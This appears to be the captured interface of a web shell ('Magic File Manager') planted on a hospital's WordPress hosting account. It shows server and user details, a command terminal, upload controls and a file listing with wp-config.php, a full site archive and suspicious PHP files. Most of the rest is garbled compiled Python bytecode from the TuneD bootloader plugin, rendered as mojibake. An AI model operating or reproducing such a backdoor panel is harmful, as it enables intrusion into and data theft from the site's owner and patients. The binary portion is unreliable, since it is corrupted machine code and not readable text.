✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log2.64 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 À<×e:eã@s‚ddlmZddlTddlZddlmZddlmZddlj Z ddl Z ddl Z ddl Z ddl mZejjƒZGdd „d ejƒZdS) é)Úbase)Ú*éN)Ú exceptions)Úcommands)ÚsleepcsºeZdZdZ‡fdd„Zdd„Zdd„Zedd „ƒZe d[d d „ƒZ e d d„ƒZ dd„Z dd„Z iifdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd „Zd!d"„Zejfd#d$„Zd%d&„Zd'd(„Zd)d*„Zd+d,„Zd-d.„Zd/d0„Zd1d2„Zd3d4„Z d5d6„Z!d7d8„Z"d9d:„Z#d;d<„Z$d=d>„Z%d?d@„Z&e'dAƒdBdC„ƒZ(e'dDƒdEdF„ƒZ)e'dGƒdHdI„ƒZ*e'dJdKdLdM�dNdO„ƒZ+e'dPdKdLdM�dQdR„ƒZ,e'dSdKdLdM�dTdU„ƒZ-e'dVdKdLdM�dWdX„ƒZ.dYdZ„Z/‡Z0S)\ÚBootloaderPluginaŸ `bootloader`:: Adds options to the kernel command line. This plug-in supports the GRUB 2 boot loader and the Boot Loader Specification (BLS). + NOTE: *TuneD* will not remove or replace kernel command line parameters added via other methods like *grubby*. *TuneD* will manage the kernel command line parameters added via *TuneD*. Please refer to your platform bootloader documentation about how to identify and manage kernel command line parameters set outside of *TuneD*. + Customized non-standard location of the GRUB 2 configuration file can be specified by the [option]`grub2_cfg_file` option. + The kernel options are added to the current GRUB configuration and its templates. Reboot the system for the kernel option to take effect. + Switching to another profile or manually stopping the `tuned` service removes the additional options. If you shut down or reboot the system, the kernel options persist in the [filename]`grub.cfg` file and grub environment files. + The kernel options can be specified by the following syntax: + [subs="+quotes,+macros"] ---- cmdline__suffix__=__arg1__ __arg2__ ... __argN__ ---- + Or with an alternative, but equivalent syntax: + [subs="+quotes,+macros"] ---- cmdline__suffix__=+__arg1__ __arg2__ ... __argN__ ---- + Where __suffix__ can be arbitrary (even empty) alphanumeric string which should be unique across all loaded profiles. It is recommended to use the profile name as the __suffix__ (for example, [option]`cmdline_my_profile`). If there are multiple [option]`cmdline` options with the same suffix, during the profile load/merge the value which was assigned previously will be used. This is the same behavior as any other plug-in options. The final kernel command line is constructed by concatenating all the resulting [option]`cmdline` options. + It is also possible to remove kernel options by the following syntax: + [subs="+quotes,+macros"] ---- cmdline__suffix__=-__arg1__ __arg2__ ... __argN__ ---- + Such kernel options will not be concatenated and thus removed during the final kernel command line construction. + .Modifying the kernel command line ==== For example, to add the [option]`quiet` kernel option to a *TuneD* profile, include the following lines in the [filename]`tuned.conf` file: ---- [bootloader] cmdline_my_profile=+quiet ---- An example of a custom profile `my_profile` that adds the [option]`isolcpus=2` option to the kernel command line: ---- [bootloader] cmdline_my_profile=isolcpus=2 ---- An example of a custom profile `my_profile` that removes the [option]`rhgb quiet` options from the kernel command line (if previously added by *TuneD*): ---- [bootloader] cmdline_my_profile=-rhgb quiet ---- ==== + .Modifying the kernel command line, example with inheritance ==== For example, to add the [option]`rhgb quiet` kernel options to a *TuneD* profile `profile_1`: ---- [bootloader] cmdline_profile_1=+rhgb quiet ---- In the child profile `profile_2` drop the [option]`quiet` option from the kernel command line: ---- [main] include=profile_1 [bootloader] cmdline_profile_2=-quiet ---- The final kernel command line will be [option]`rhgb`. In case the same [option]`cmdline` suffix as in the `profile_1` is used: ---- [main] include=profile_1 [bootloader] cmdline_profile_1=-quiet ---- It will result in the empty kernel command line because the merge executes and the [option]`cmdline_profile_1` gets redefined to just [option]`-quiet`. Thus there is nothing to remove in the final kernel command line processing. ==== + The [option]`initrd_add_img=IMAGE` adds an initrd overlay file `IMAGE`. If the `IMAGE` file name begins with '/', the absolute path is used. Otherwise, the current profile directory is used as the base directory for the `IMAGE`. + The [option]`initrd_add_dir=DIR` creates an initrd image from the directory `DIR` and adds the resulting image as an overlay. If the `DIR` directory name begins with '/', the absolute path is used. Otherwise, the current profile directory is used as the base directory for the `DIR`. + The [option]`initrd_dst_img=PATHNAME` sets the name and location of the resulting initrd image. Typically, it is not necessary to use this option. By default, the location of initrd images is `/boot` and the name of the image is taken as the basename of `IMAGE` or `DIR`. This can be overridden by setting [option]`initrd_dst_img`. + The [option]`initrd_remove_dir=VALUE` removes the source directory from which the initrd image was built if `VALUE` is true. Only 'y', 'yes', 't', 'true' and '1' (case insensitive) are accepted as true values for this option. Other values are interpreted as false. + .Adding an overlay initrd image ==== ---- [bootloader] initrd_remove_dir=True initrd_add_dir=/tmp/tuned-initrd.img ---- This creates an initrd image from the `/tmp/tuned-initrd.img` directory and and then removes the `tuned-initrd.img` directory from `/tmp`. ==== + The [option]`skip_grub_config=VALUE` does not change grub configuration if `VALUE` is true. However, [option]`cmdline` options are still processed, and the result is used to verify the current cmdline. Only 'y', 'yes', 't', 'true' and '1' (case insensitive) are accepted as true values for this option. Other values are interpreted as false. + .Do not change grub configuration ==== ---- [bootloader] skip_grub_config=True cmdline=+systemd.cpu_affinity=1 ---- ==== cs6tjjtjƒstjdƒ‚tt|ƒj ||Žt ƒ|_ dS)Nz4Required GRUB2 template not found, disabling plugin.) ÚosÚpathÚisfileÚconstsZGRUB2_TUNED_TEMPLATE_PATHrZNotSupportedPluginExceptionÚsuperrÚ__init__rÚ_cmd)ÚselfÚargsÚkwargs)Ú __class__©ú'/usr/lib/python3.6/plugin_bootloader.pyr¾s zBootloaderPlugin.__init__cCsVd|_d|_d|_d|_d|_d|_d|_d|_|jƒ|_ |j ƒ|_ |j ƒdk |_ dS)NFTÚ)Z_has_dynamic_tuningZ_has_static_tuningÚupdate_grub2_cfgÚ_skip_grub_config_valÚ_initrd_remove_dirÚ_initrd_dst_img_valÚ _cmdline_valÚ _initrd_valÚ_get_grub2_cfg_filesÚ_grub2_cfg_file_namesÚ _bls_enabledÚ_blsÚ_rpm_ostree_statusÚ _rpm_ostree)rÚinstancerrrÚ_instance_initÄs  zBootloaderPlugin._instance_initcCsdS)Nr)rr#rrrÚ_instance_cleanupÓsz"BootloaderPlugin._instance_cleanupcCsddddddddœS)N)Úgrub2_cfg_fileÚinitrd_dst_imgÚinitrd_add_imgÚinitrd_add_dirÚinitrd_remove_dirÚcmdlineÚskip_grub_configr)ÚclsrrrÚ_get_config_optionsÖsz$BootloaderPlugin._get_config_optionsrcCs`i}|jƒ}xN|jƒD]B}||kr|jddƒ}|j|dgƒjt|ƒdkrR|dndƒqW|S)z‹ Returns dict created from options e.g.: _options_to_dict("A=A A=B A B=A C=A", "A=B B=A B=B") returns {'A': ['A', None], 'C': ['A']} ú=rrN)ÚsplitÚ setdefaultÚappendÚlen)ÚoptionsZomitÚdÚoZarrrrrÚ_options_to_dictâs .z!BootloaderPlugin._options_to_dictcCsdjdd„|jƒDƒƒS)Nú cSs2g|]*\}}|D]}|dk r(|d|n|‘qqS)Nr/r)Ú.0ÚkÚvZv1rrrú òsz5BootloaderPlugin._dict_to_options..)ÚjoinÚitems)r5rrrÚ_dict_to_optionsðsz!BootloaderPlugin._dict_to_optionscCsr|jjddgdd�\}}}tjd||fƒ|dkr8dS|jƒ}t|ƒdksX|dd krjtjd |ƒdS|d S) zW Returns status of rpm-ostree transactions or None if not run on rpm-ostree system z rpm-ostreeZstatusT)Ú return_errz.rpm-ostree status output stdout: %s stderr: %srNézState:z2Exceptional format of rpm-ostree status result: %sr)rÚexecuteÚlogÚdebugr0r3Úwarn)rÚrcÚoutÚerrZsplitedrrrr!ôsz#BootloaderPlugin._rpm_ostree_statuscCsFd}d}x(t|ƒD]}|jƒdkr&dSt|ƒqW|jƒdkrBdSdS)Né gð?ZidleTF)Úranger!r)rZ sleep_cyclesZ sleep_secsÚirrrÚ_wait_till_idles   z BootloaderPlugin._wait_till_idlecsâ|jjddgdd�\}}}tjd||fƒ|dkr8dS|j|ƒ}|jƒsXtjdƒdSi}|j|ƒjƒ}x8|j ƒD],\‰} x| D]} |ˆj | ƒq‚W| |ˆ<qtWi} |j|ƒjƒ} xŠ|j ƒD]~\‰} |j ˆƒ�r$tjd ˆ|ˆfƒ|j ˆgƒj |ˆƒ|j ‡fd d „|ˆDƒƒg|ˆ<|j ˆgƒj | ƒ| | ˆ<qÀW| |k�rdtjd | ƒ|| |fStjd | |fƒ|jjddgdd „| Dƒdd „|Dƒdd�\}} }|dk�rÔtjd|ƒ|j|ƒddfS|| |fSdS)zº Method for appending or deleting rpm-ostree karg returns None if rpm-ostree not present or is run on not ostree system or tuple with new kargs, appended kargs and deleted kargs z rpm-ostreeÚkargsT)r@z'rpm-ostree output stdout: %s stderr: %srNzCannot wait for transaction endz)adding rpm-ostree kargs %s: %s for deletecs$g|]}|dk rˆd|nˆ‘qS)Nr/r)r9r;)r:rrr<.sz6BootloaderPlugin._rpm_ostree_kargs..z3skipping rpm-ostree kargs - append == deleting (%s)z2rpm-ostree kargs - appending: '%s'; deleting: '%s'cSsg|] }d|‘qS)z --append=%sr)r9r;rrrr<9scSsg|] }d|‘qS)z --delete=%sr)r9r;rrrr<:sz-Something went wrong with rpm-ostree kargs %s)NNN)NNN)rrBrCrDr7rLÚerrorr?r0r>ÚremoveÚgetr1ÚextendÚinfo)rr2ÚdeleterFrGrHrMÚdeletedZ delete_paramsÚvalr;ÚappendedZ append_paramsÚ_r)r:rÚ_rpm_ostree_kargs sF         z"BootloaderPlugin._rpm_ostree_kargsc CsV|jƒjƒ}g}xR|D]J}t|ƒjdƒr4|j|ƒq||krJ||||<qtjd||jjfƒqWd}xÎ|D]Æ}||}|dksn|dkrŒqn|d}|dd…}|dd…j ƒ} |dksÈ|d krÞ|dkrÞ| dkrÜ|d | 7}qn|d k�r(| dk�r4x@| j ƒD]&} t j | ƒ} t j d | d d|ƒ}�qüWqn|d |7}qnW|j ƒ}|dk�rR||d<|S)zSMerge provided options with plugin default options and merge all cmdline.* options.r+z$Unknown option '%s' for plugin '%s'.rNrrrAú+ú\ú-r8z(\A|\s)z (?=\Z|\s))rZrYr[)r.ÚcopyÚstrÚ startswithr2rCrErÚ__name__Ústripr0ÚreÚescapeÚsub) rr4Z effectiveZ cmdline_keysÚkeyr+rUÚopZop1ÚvalsÚpZregexrrrÚ_get_effective_optionsAs:         z'BootloaderPlugin._get_effective_optionscCs.g}x$tjD]}tjj|ƒr |j|ƒq W|S)N)r ZGRUB2_CFG_FILESr r Úexistsr2)rZ cfg_filesÚfrrrrcs   z%BootloaderPlugin._get_grub2_cfg_filescCsH|jjtjdd�}t|ƒdkr2tjdtjƒdStjd|tj d�dk S)NT)Úno_errorrzcannot read '%s'Fz=^\s*GRUB_ENABLE_BLSCFG\s*=\s*\"?\s*[tT][rR][uU][eE]\s*\"?\s*$)Úflags) rÚ read_filer ÚGRUB2_DEFAULT_ENV_FILEr3rCrRraÚsearchÚ MULTILINE)rÚgrub2_default_envrrrrjs  zBootloaderPlugin._bls_enabledcCs|jjtj|ƒS)N)rÚadd_modify_option_in_filer ÚBOOT_CMDLINE_FILE)rr5rrrÚ_patch_bootcmdlinessz#BootloaderPlugin._patch_bootcmdlinecCsŒ|jtjdtjdiƒ|js*tjdƒdSx4|jD]*}|jj|dtj ddtj didd�q2W|j dk rˆtjd|j ƒ|jj |j ƒdS)Nrzcannot find grub.cfg to patchzset\s+F)Úaddzremoving initrd image '%s') rtr ÚBOOT_CMDLINE_TUNED_VARÚBOOT_CMDLINE_INITRD_ADD_VARrrCrRrrrÚGRUB2_TUNED_VARÚGRUB2_TUNED_INITRD_VARrÚunlink)rrjrrrÚ_remove_grub2_tuningvs  * z%BootloaderPlugin._remove_grub2_tuningcCsf|jjtjƒ}tjtjd|tjd�}|r2|dnd}tjtjd|tjd�}|rZ|dnd}||fS)Nz =\"(.*)\")rlrr) rrmr rsrarorvrpÚBOOT_CMDLINE_KARGS_DELETED_VAR)rrjrVrTrrrÚ_get_rpm_ostree_changes�s z(BootloaderPlugin._get_rpm_ostree_changescCs@|jƒ\}}|j|j|ƒ|j|ƒd�|jtjdtjdiƒdS)N)r2rSr)r}rXr7rtr rvr|)rrVrTrrrÚ_remove_rpm_ostree_tuning‰s z*BootloaderPlugin._remove_rpm_ostree_tuningcCsR|tjkrN|j rN|jr,tjdƒ|jƒn"tjdƒ|jƒ|jdddœƒdS)Nz4removing rpm-ostree tuning previously added by Tunedz/removing grub2 tuning previously added by Tunedr)Ú tuned_paramsÚ tuned_initrd) r Z ROLLBACK_FULLrr"rCrRr~r{Ú_update_grubenv)rr#ZrollbackrrrÚ_instance_unapply_staticŽs   z)BootloaderPlugin._instance_unapply_staticcCs®tjdƒtjdtjdd|tjd�}tjdtjd|tjd�}tjdtjdd|tjd�}tjdtjd|tjd�}tjtjdd|tjd�}tjtj dd|tjd�S) Nzunpatching grub.cfgz ^\s*set\s+z\s*=.* r)rlz *\$z\nz\n+) rCrDrarcr rxrpryÚGRUB2_TEMPLATE_HEADER_BEGINÚGRUB2_TEMPLATE_HEADER_END)rÚ grub2_cfgÚcfgrrrÚ_grub2_cfg_unpatch˜s z#BootloaderPlugin._grub2_cfg_unpatchcCsütjdƒdtjd}x8|D]0}|d|jj|ƒd|jj||ƒd7}qW|tjd7}tjd||tj d �}tj tj d œ}xt|D]l}tjd |d d |||tj d �}tjd |d||dd|tj d �}tjd |dd|tj d �}qˆW|S)Nzinitial patching of grub.cfgz\1\n\nÚ zset z="z" z\nz+^(\s*###\s+END\s+[^#]+/00_header\s+### *)\n)rl)ÚlinuxZinitrdz^(\s*z(16|efi)?\s+.*)$z\1 $z(?:16|efi)?\s+\S+rescue.*)\$z *(.*)$z\1\2z(?:16|efi)?\s+\S+rescue.*) +$z\1) rCrDr rƒrrbr„rarcrprxry)rr…r5ÚsÚoptZd2rKrrrÚ_grub2_cfg_patch_initial¡s  0 $( z)BootloaderPlugin._grub2_cfg_patch_initialcCsà|jjtjƒ}t|ƒdkr.tjdtjƒdStjtjdœ}d}xv|D]n}t j d|d||d|t j d�dkrFd }|dd krŒ|d 7}||d |d |d||d7}qFW|rÜtj dtjƒ|jj tj|ƒd S)Nrzcannot read '%s'F)ZGRUB_CMDLINE_LINUX_DEFAULTZGRUB_INITRD_OVERLAYz^[^#]*\bz \s*=.*\\\$z\b.*$)rlTrrˆz="${z:+$z }\$z" z patching '%s'éÿÿÿÿ)rrmr rnr3rCrRrxryrarorprDÚ write_to_file)rrqr5ÚwriterKrrrÚ_grub2_default_env_patch³s   * ,z)BootloaderPlugin._grub2_default_env_patchcCs¬|jjtjƒ}t|ƒdkr.tjdtjƒdSd}tjdtj d|tj d�r„d}tj dtj dd |tj d�}|d d kr„|d 7}|r¨tj d tjƒ|jj tj|ƒdS)Nrzcannot read '%s'Fzb^GRUB_CMDLINE_LINUX_DEFAULT=\"\$\{GRUB_CMDLINE_LINUX_DEFAULT:\+\$GRUB_CMDLINE_LINUX_DEFAULT \}\\\$z"$)rlTz"$ rrrˆzunpatching '%s'r�)rrmr rnr3rCrRrarorxrprcrDrŽ)rrqr�r†rrrÚ_grub2_default_env_unpatchÆs   z+BootloaderPlugin._grub2_default_env_unpatchcCsZtjdƒ|jstjdƒdS�x|jD�]}|jj|ƒ}t|ƒdkrVtjd|ƒq(tjd|ƒ|}d}xf|D]^}tjd|dd|jj ||ƒd |tj d �\}}|d ksÌtj d ||tj d �dkrrd}qrWttj d t j|tj d �ƒttj d t j|tj d �ƒk�rd}|�r*|j|j|ƒ|ƒ}|jj||ƒq(W|j�rN|jƒn|jƒdS)Nzpatching grub.cfgzcannot find grub.cfg to patchFrzcannot patch %sz+adding boot command line parameters to '%s'z \b(set\s+z\s*=).*$z\1ú")rlrz\$Tz\1")rCrDrrRrrmr3raÚsubnrbrproÚfindallr rxryrŒr‡rŽr r‘r�)rr5rjr…Z grub2_cfg_newZ patch_initialr‹ZnsubsrrrÚ_grub2_cfg_patchÙs4     4"  z!BootloaderPlugin._grub2_cfg_patchcCsb|jƒ\}}|j|j|ƒ}|s"dS|j|d�\}}}|dkr@dS|jtj|jtj|j|ƒiƒdS)N)r2) r}r7rrXrtr rvr|r?)rrVrWZ _cmdline_dictr5rrrÚ_rpm_ostree_updateùs z#BootloaderPlugin._rpm_ostree_updatecCs8|jtj|jtj|jiƒ|jtj|jtj|jiƒdS)N) r•r rxrryrrtrvrw)rrrrÚ _grub2_updateszBootloaderPlugin._grub2_updatecCstjjtjƒS)N)r r rir ZBLS_ENTRIES_PATH)rrrrÚ_has_blsszBootloaderPlugin._has_blscCs\tjdt|ƒƒdd„|jƒDƒ}|jjdddg|ƒ\}}|dkrXtjd|ƒd Sd S) Nzupdating grubenv, setting %scSs$g|]\}}dt|ƒt|ƒf‘qS)z%s=%s)r])r9ZoptionÚvaluerrrr< sz4BootloaderPlugin._update_grubenv..z grub2-editenvr[Úsetrzcannot update grubenv: '%s'FT)rCrDr]r>rrBrE)rr5ÚlrFrGrrrr� sz BootloaderPlugin._update_grubenvcCsb|jjƒ}|dkrdStjdtjƒ|jjtjdgd|id�\}}|dkr^tjd|ƒdSd S) NrFz4running kernel update hook '%s' to patch BLS entriesruZKERNEL_INSTALL_MACHINE_ID)Úenvrzcannot patch BLS entries: '%s'T)rZget_machine_idrCrDr ZKERNEL_UPDATE_HOOK_FILErBrE)rZ machine_idrFrGrrrÚ_bls_entries_patch_initials z+BootloaderPlugin._bls_entries_patch_initialcCs6tjdƒ|jƒr2|j|j|jdœƒr2|jƒr2dSdS)Nz updating BLS)rr€TF)rCrDr˜r�rrr�)rrrrÚ _bls_updates  zBootloaderPlugin._bls_updatecCs(|jdkr$tjjtjtjj|ƒƒ|_dS)N)rr r r=r ÚBOOT_DIRÚbasename)rÚnamerrrÚ_init_initrd_dst_img&s z%BootloaderPlugin._init_initrd_dst_imgcCstjjtjƒS)N)r r Úisdirr ZPETITBOOT_DETECT_DIR)rrrrÚ_check_petitboot*sz!BootloaderPlugin._check_petitbootcCs°|jrtjdƒdS|jƒr&tjdƒtjd|jƒtjj|jƒ}|j j ||jƒsXdSd|_ |j j dƒj ƒ}d}t|ƒ}|rœtjdd |ƒ}t|ƒ|krœ|}tjj||ƒ|_dS) Nz:Detected rpm-ostree which doesn't support initrd overlays.FzkDetected Petitboot which doesn't support initrd overlays. The initrd overlay will be ignored by bootloader.zinstalling initrd image as '%s'Tz /proc/cmdlineú/z)^\s*BOOT_IMAGE=\s*(?:\([^)]*\))?(\S*/).*$z\1)r"rCrEr¤rRrr r r rr\rrmÚrstripr3rarcr=r)rZimgZimg_nameZ curr_cmdlineZinitrd_grubpathZlcr rrrÚ_install_initrd-s&   z BootloaderPlugin._install_initrdr&cCs$|rdS|r |dk r t|ƒg|_dS)N)r]r)rÚenablingr™ÚverifyÚignore_missingrrrÚ_grub2_cfg_fileBs z BootloaderPlugin._grub2_cfg_filer'cCsR|rdS|rN|dk rNt|ƒ|_|jdkr,dS|jddkrNtjjtj|jƒ|_dS)NrFrr¥)r]rr r r=r rŸ)rr¨r™r©rªrrrÚ_initrd_dst_imgJs   z BootloaderPlugin._initrd_dst_imgr*cCs*|rdS|r&|dk r&|jj|ƒdk|_dS)NÚ1)rÚget_boolr)rr¨r™r©rªrrrrVs z#BootloaderPlugin._initrd_remove_dirr(FrI)Z per_deviceZprioritycCsD|rdS|r@|dk r@t|ƒ}|j|ƒ|dkr2dS|j|ƒs@dSdS)NrF)r]r¢r§)rr¨r™r©rªZsrc_imgrrrÚ_initrd_add_img^s   z BootloaderPlugin._initrd_add_imgr)c Cs|rdS|o|dk �rt|ƒ}|j|ƒ|dkr4dStjj|ƒsRtjd|ƒdStjd|ƒtj ddd�\}}tj d|ƒtj |ƒ|j j d ||d d �\}} tj d | ƒ|d krØtjdƒ|j j|d d�dS|j|ƒ|j j|ƒ|j�rtjd|ƒ|j j|ƒdS)NrFzFerror: cannot create initrd image, source directory '%s' doesn't existz+generating initrd image from directory '%s'ztuned-bootloader-z.tmp)ÚprefixÚsuffixz+writing initrd image to temporary file '%s'zfind . | cpio -co > %sT)ÚcwdÚshellz cpio log: %srzerror generating initrd image)rkzremoving directory '%s')r]r¢r r r£rCrNrRÚtempfileZmkstemprDÚcloserrBrzr§rZrmtree) rr¨r™r©rªZsrc_dirÚfdZtmpfilerFrGrrrÚ_initrd_add_dirks2      z BootloaderPlugin._initrd_add_dirr+cCsJ|jj|jj|ƒƒ}|�r |jr8|jƒd}|j|ƒ}n |jjdƒ}t|ƒdkrTdSt |j ƒƒ}t |j ƒƒ} | |} t| ƒdkrœt j t jdt| ƒfƒdSdd„|Dƒ} xR| D]J} | j ddƒd} | | krât jt j| | fƒq°t jt j| | | fƒq°W| |@}t j d d j|ƒfƒd S|�rF|dk �rFt j d ƒd|_||_dS) Nrz /proc/cmdliner+TcSsi|]}||jddƒd“qS)r/rr)r0)r9r;rrrú ›sz-BootloaderPlugin._cmdline..r/rz2expected arguments that are present in cmdline: %sr8Fz;installing additional boot command line parameters to grub2)Z _variablesÚexpandrZunquoter"rXr?rmr3ršr0rCrRr ZSTR_VERIFY_PROFILE_VALUE_OKr]rNZ'STR_VERIFY_PROFILE_CMDLINE_FAIL_MISSINGZSTR_VERIFY_PROFILE_CMDLINE_FAILr=rr)rr¨r™r©rªr;Zrpm_ostree_kargsr+Z cmdline_setZ value_setZ missing_setZ cmdline_dictÚmÚargZ present_setrrrÚ_cmdline‰s6         zBootloaderPlugin._cmdliner,cCs8|rdS|r4|dk r4|jj|ƒdkr4tjdƒd|_dS)Nr­z(skipping any modification of grub configT)rr®rCrRr)rr¨r™r©rªrrrÚ_skip_grub_configªs   z"BootloaderPlugin._skip_grub_configcCsŠ|rV|jrVt|jƒdkr"tjdƒt|jƒdkr:tjdƒ|jtj|jtj |jiƒn0|r†|j r†|j rp|j ƒn|j ƒ|jƒd|_ dS)Nrz0requested changes to initrd will not be applied!z1requested changes to cmdline will not be applied!F)rr3rrCrErrtr rvrwrr"r–r—rž)rr#r¨rrrÚ_instance_post_static³s     z&BootloaderPlugin._instance_post_static)r)1r_Ú __module__Ú __qualname__Ú__doc__rr$r%Ú classmethodr.Ú staticmethodr7r?r!rLrXrhrrrtr{r}r~r Z ROLLBACK_SOFTr‚r‡rŒr�r‘r•r–r—r˜r�r�ržr¢r¤r§Zcommand_customr«r¬rr¯r·r¼r½r¾Ú __classcell__rr)rrrsT.    4"          ! r)rrZ decoratorsZ tuned.logsZtunedrZtuned.utils.commandsrZ tuned.constsr r rar´ZtimerZlogsrPrCZPluginrrrrrÚs